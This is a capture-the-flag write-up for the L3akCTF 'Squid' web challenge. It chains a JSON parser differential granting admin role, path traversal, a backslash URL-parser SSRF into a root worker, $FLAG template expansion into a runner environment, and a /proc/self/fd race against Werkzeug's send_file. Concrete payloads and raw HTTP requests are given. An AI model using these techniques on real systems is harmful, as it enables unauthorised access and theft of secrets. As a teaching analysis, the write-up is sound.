all notes

L3akCTF 2026: Squid, Explained

Exploiting Parser Differentials, Procfs Quirks, and a File Descriptor Race to Exfiltrate a Root-Only Flag in L3akCTF

A CI dashboard with a flag it cannot read

This weekend my team played L3akCTF. I only had a few hours, but we still managed to be one of the three teams that solved Squid, a very unusual web challenge.

The application looks like a small CI platform. It has registration, projects, build manifests, workers, and downloadable artifacts. The flag is placed in the container at:

/secrets/flag
owner: root:root
mode: 0600

The public application runs as ctf, so the apparent goal is impossible from the public process alone. A direct file read can reach the path, but the user does not have permission to open it.

The useful question is therefore not “where is the flag?” but:

What can the public app make another process do for us?

The solve has six stages. We first obtain the role required by the interesting endpoints, then use the download route as a local file read. A second parser differential reaches the root-only build worker. That worker places the flag in a runner environment, and the final stage abuses the way send_file handles procfs metadata.

The pieces we need to keep in mind

The container has three relevant processes:

Process User Role in the exploit
Flask/Gunicorn public app ctf Handles our requests and serves files
worker.py root Reads the flag and starts runners
runner.py ctf Inherits the expanded environment

The startup script makes the separation explicit:

printf '%s' "${FLAG:-L3AK{missing_flag}}" > /secrets/flag
chown root:root /secrets/flag
chmod 600 /secrets/flag
unset FLAG

python /app/worker.py &

exec gosu ctf gunicorn \
    --worker-class gthread \
    --workers 1 \
    --threads 16 \
    --no-sendfile \
    --bind 0.0.0.0:5000 \
    public_app:app

So the public app cannot read the secret, but the root worker can. Also, the public app is one Gunicorn process with sixteen request threads. That last detail looks like a deployment setting at first; it becomes important once we start racing file descriptors.

The first break: one request, two JSON parsers

The interesting endpoints are protected by this check:

def is_staff():
    return session.get("role") == "admin"

Both manifest importing and downloads call is_staff(). Registration is supposed to create only ordinary users, so the next thing to inspect is how the role is handled.

The endpoint parses the body with the standard library first:

raw = request.get_data()
payload = json.loads(raw)

if not isinstance(payload, dict) or not payload.get("username"):
    return jsonify({"error": "username is required"}), 400

if payload.get("role", "user") == "admin":
    return jsonify({
        "error": "self-service accounts cannot request the admin role"
    }), 403

But it parses the exact same bytes again before storing the user:

record = ujson.loads(raw)
username = str(record.get("username"))[:64]
role = record.get("role", "user")

USERS[username] = {
    "role": role,
    "password": record.get("password"),
}
session["username"] = username
session["role"] = role

The browser is not even allowed to submit a role through the normal form, but that is not a security boundary. We can send JSON directly. A normal attempt fails as expected:

{"username":"solver","password":"x","role":"admin"}

The two parser calls give us an opening. With the challenge's pinned ujson==5.0.0, this body is interpreted differently:

{"username":"solver","password":"x","role":"admin\ud800"}

In this version, the standard json parser keeps the dangling surrogate as part of the value, so the value is not exactly admin. ujson normalizes the same value to admin when the user record is stored.

Parser Used for Result for this body
json.loads Rejecting an admin role The value is not exactly admin
ujson.loads Saving the user and session The value becomes admin

This is not just malformed input. Both parsers accept the body; the problem is that authorization is checked on one interpretation and authorization state is saved from another.

The behavior is related to the ujson surrogate handling advisory, and the general class of ambiguities is explained in Bishop Fox's JSON interoperability research.

The resulting request is enough to leave us with a session whose role is admin, which unlocks the two useful endpoints.

An accidental file server

The download handler looks short enough to be harmless:

@app.get("/download/<path:target>")
def download(target):
    if not is_staff():
        return jsonify({
            "error": "artifact access is limited to organisation staff"
        }), 403

    path = os.path.join(WORK, target)
    try:
        return send_file(path)
    except OSError:
        return jsonify({"error": "artifact not found"}), 404

WORK is /work, but target is not constrained to stay below it. For example:

The route receives /download/JOB_ID/../../etc/passwd. The application joins that value to /work, producing /work/JOB_ID/../../etc/passwd, and the filesystem resolves the parent-directory components to /etc/passwd.

That gives us a local file read as ctf. The challenge's proxy and the route both make path encoding worth paying attention to, so the solver sends these requests as raw HTTP and keeps the traversal path intact.

Reading an ordinary file works immediately:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

The primitive is real, but it does not solve the challenge. /secrets/flag is still readable only by root.

The next obvious experiment is procfs. A process environment should be interesting, especially because we know the public app has its own process:

/download/JOB_ID/../../proc/self/environ

The response is surprising:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 0
Content-Disposition: inline; filename=environ

It finds the file, but sends no body. We will come back to that after getting the flag into a process we are allowed to inspect.

Finding the internal service

The manifest endpoint is now available because we are staff. It wants to fetch manifests only from trusted mirrors:

TRUSTED_MIRRORS = {
    "manifests.buildfarm.internal",
    "cdn.buildfarm.internal",
    "registry.buildfarm.internal",
}

@app.post("/api/manifest")
def api_manifest():
    if not is_staff():
        return jsonify({
            "error": "importing manifests is limited to organisation staff"
        }), 403

    body = request.get_json(silent=True) or {}
    url = body.get("url", "")
    mirror = urllib.parse.urlparse(url).hostname

    if mirror not in TRUSTED_MIRRORS:
        return jsonify({
            "error": "mirror is not on the trusted list",
            "mirror": mirror,
        }), 403

    resp = requests.get(url, timeout=5, allow_redirects=False)
    return Response(resp.content, status=resp.status_code,
                    content_type=resp.headers.get("Content-Type", "application/json"))

The input is checked with urllib.parse, then passed to requests. Looking through requests, its URL preparation eventually uses urllib3.util.parse_url, not the standard library parser.

This is another parser differential. The useful shape is:

http://127.0.0.1:8000\@manifests.buildfarm.internal/?spec=ENCODED_SPEC

The two interpretations are:

Component Interpretation
urllib.parse.urlparse(url).hostname manifests.buildfarm.internal
urllib3.parse_url(url) Host 127.0.0.1, port 8000

The backslash changes how the authority is divided. The allowlist sees a trusted hostname, while the HTTP client connects to the root worker listening on 127.0.0.1:8000.

This exact family of bugs is discussed in SonarSource's article on URL parsing differentials.

The SSRF request reaches this catch-all route in worker.py:

@app.route("/", defaults={"path": ""}, methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def schedule(path):
    raw = request.args.get("spec") or request.form.get("spec")
    ...

The root-only service is no longer isolated from us.

Moving the flag across the privilege boundary

The worker is started directly by the entrypoint, before gosu ctf is used for Gunicorn, so it stays root. It loads the secret once at startup:

VAULT_FILE = "/secrets/flag"

def load_vault():
    with open(VAULT_FILE, "r") as f:
        return {"FLAG": f.read().strip()}

VAULT = load_vault()

This is the part that initially sounds like “the worker puts the flag in its environment”, but that is not quite what happens. VAULT is an in-memory Python dictionary in the root worker. The flag is copied into a child environment only when a manifest value references $FLAG.

def materialise_env(env):
    resolved = {}
    for key, val in env.items():
        if not isinstance(key, str):
            continue
        if _unsafe_env_name(key):
            continue
        if isinstance(val, str):
            resolved[key] = string.Template(val).safe_substitute(VAULT)
        else:
            resolved[key] = str(val)
    return resolved

The string.Template syntax is enough for us. We submit this build specification through the SSRF:

{
  "task": "build",
  "ttl": 90,
  "env": {
    "LEAK": "$FLAG",
    "PAD": "AAAA...",
    "IDX": "0"
  }
}

The worker takes the expanded values and starts the runner as ctf:

child_env.update(materialise_env(env))

proc = subprocess.Popen(
    [sys.executable, "-I", RUNNER, "build", workdir, str(ttl)],
    env=child_env,
    user=AGENT_UID,
    group=AGENT_GID,
    cwd=workdir,
)

After the Popen, the state looks like this:

root worker:
    VAULT["FLAG"] = L3AK{...}

runner, running as ctf:
    LEAK=L3AK{...}
    PAD=AAAA...
    IDX=0

The runner does not need to call getenv("LEAK") or use the value in Python. The environment is already part of the process state created by execve, and Linux exposes that state through /proc/PID/environ. The runner only needs to stay alive long enough for us to find it and race the file-serving code.

Its build log gives us a stable way to identify the PID:

def do_build(workdir, ttl):
    log = os.path.join(workdir, "build.log")
    with open(log, "w") as f:
        f.write("[buildfarm] agent online\n")
        f.write("[buildfarm] build succeeded\n")

    deadline = time.time() + ttl
    while time.time() < deadline:
        time.sleep(0.2)

Since the runner's working directory is the job directory, the solver scans:

/download/JOB_ID/../../proc/RUNNER_PID/cwd/build.log

Finding [buildfarm] agent online tells us that RUNNER_PID is a live runner with the flag in its environment.

Why procfs says zero when it can still return data

Now we can explain the empty response from earlier. The direct target is the runner process's procfs environment file:

/download/JOB_ID/../../proc/RUNNER_PID/environ

The public app and runner are both ctf, so the access check succeeds. The Linux proc_pid_environ(5) manual page describes this file as a view of the environment that was present when the process started. It is not a normal disk file with a stored length.

On Linux, the difference is easy to reproduce with the current shell process:

stat -c '%s' /proc/$$/environ
# 0

tr '\0' '\n' < /proc/$$/environ | head
# PATH=/usr/local/bin:...
# ...

The exploit uses RUNNER_PID instead of $$, but the procfs behaviour is the same: the kernel can provide bytes when a process reads the file, while stat still reports st_size == 0.

That is exactly the combination that breaks this version of Werkzeug's file server. The relevant part of Werkzeug 2.2.3's send_file is effectively:

path = os.path.abspath(path)
stat = os.stat(path)
size = stat.st_size

file = open(path, "rb")
data = wrap_file(environ, file)

response = response_class(data, direct_passthrough=True)
response.content_length = size

For a regular file, this is sensible. For procfs, the operations disagree:

Operation What happens
os.stat("/proc/RUNNER_PID/environ") Reports size 0
open("/proc/RUNNER_PID/environ") Produces LEAK=L3AK{...} bytes
HTTP response Uses Content-Length: 0

Gunicorn honors the response length, so it sends no body. This is why the download primitive can read /etc/passwd but cannot directly deliver the runner environment.

The Werkzeug documentation also warns that send_file assumes a path is trusted. Here the path traversal is one bug, and the fact that the same function serves special files is the second bug we can build on.

Descriptor roulette

Linux exposes a process's open descriptors under /proc/PID/fd. The proc_pid_fd(5) documentation describes these entries as links to the files currently held open by that process.

The special path we race is:

/proc/self/fd/N

Here, self is the process performing the lookup. Since the vulnerable route is handled by Gunicorn, /proc/self/fd/N means Gunicorn's descriptor table, not the runner's. The runner's environment is still opened through /proc/RUNNER_PID/environ; the trick is to make Gunicorn reuse descriptor number N between Werkzeug's metadata lookup and its file open.

The target request is:

/download/JOB_ID/../../proc/self/fd/N

The race window is small, but the state we want is simple:

Moment Gunicorn fd N points to Result
stat("/proc/self/fd/N") A regular non-empty file such as app.css Werkzeug records a non-zero Content-Length
fd reuse A request for /proc/RUNNER_PID/environ The same fd number now refers to the runner's procfs environment
open("/proc/self/fd/N") The reused fd symlink The response body is read from the runner environment

The path passed to send_file never changes. The symlink behind /proc/self/fd/N changes between the metadata lookup and the open, so the response length comes from one file while the bytes come from another.

This is why the one-process Gunicorn configuration matters. The requests are handled by different threads, but all of those threads share one fd table. A multi-process Gunicorn configuration would give each worker its own table and would make this particular race much less direct.

Keeping the race alive long enough to win

The solver sends three streams of requests.

First, it repeatedly opens ordinary readable files:

/download/JOB_ID/../../app/static/css/app.css
/download/JOB_ID/../../app/static/js/app.js
/download/JOB_ID/../../usr/bin/perl
/download/JOB_ID/../../usr/local/lib/libpython3.9.so.1.0

Their contents do not matter. They are present, readable by ctf, and report nonzero sizes. They are the metadata side of the race.

Second, other threads repeatedly open:

/download/JOB_ID/../../proc/RUNNER_PID/environ

Those are the secret-bearing descriptors. Their normal HTTP responses are empty, but the descriptors still exist briefly inside Gunicorn while send_file handles the request.

Finally, target threads try a range of fd numbers:

/download/JOB_ID/../../proc/self/fd/10
/download/JOB_ID/../../proc/self/fd/11
...
/download/JOB_ID/../../proc/self/fd/40

Low numbers were more useful in the local container, so the solver weights them more heavily. It also uses short timeouts and a small range request so failed attempts do not block the worker pool for too long.

The API setup is convenient with requests, but the race itself uses raw HTTP so that the exact traversal path and connection behavior stay under control:

GET /download/JOB_ID/../../proc/self/fd/12 HTTP/1.1
Host: target
Cookie: session=ADMIN_SESSION
Connection: keep-alive

The race is not about finding a magic fd number. It is about repeatedly making stat() observe a regular file and open() resolve the same fd symlink after Gunicorn has reused that number for /proc/RUNNER_PID/environ.

When it works, the response contains the marker we put in the manifest:

LEAK=L3AK{...}

Putting the chain together

The complete solve is:

  1. Register with role: "admin\ud800" and keep the session cookie.
  2. Use download traversal to confirm the local file read.
  3. Send the URL parser differential to /api/manifest so the public app talks to worker.py on localhost.
  4. Ask the root worker to start long-lived runners with LEAK: "$FLAG".
  5. Locate the runner PIDs through /proc/RUNNER_PID/cwd/build.log.
  6. Use the same file-read primitive to make Gunicorn open the runner's environment.
  7. Race those opens against ordinary files through /proc/self/fd/N.
  8. Extract the LEAK value from the response whose metadata came from one file and whose body came from another.

The flag's path through the system is now clear. The root worker reads /secrets/flag into VAULT, expands $FLAG into the environment passed to runner.py, and that environment becomes readable at /proc/RUNNER_PID/environ. The final race makes Gunicorn serve bytes from that procfs file while keeping the non-zero response length it measured from a regular file.

References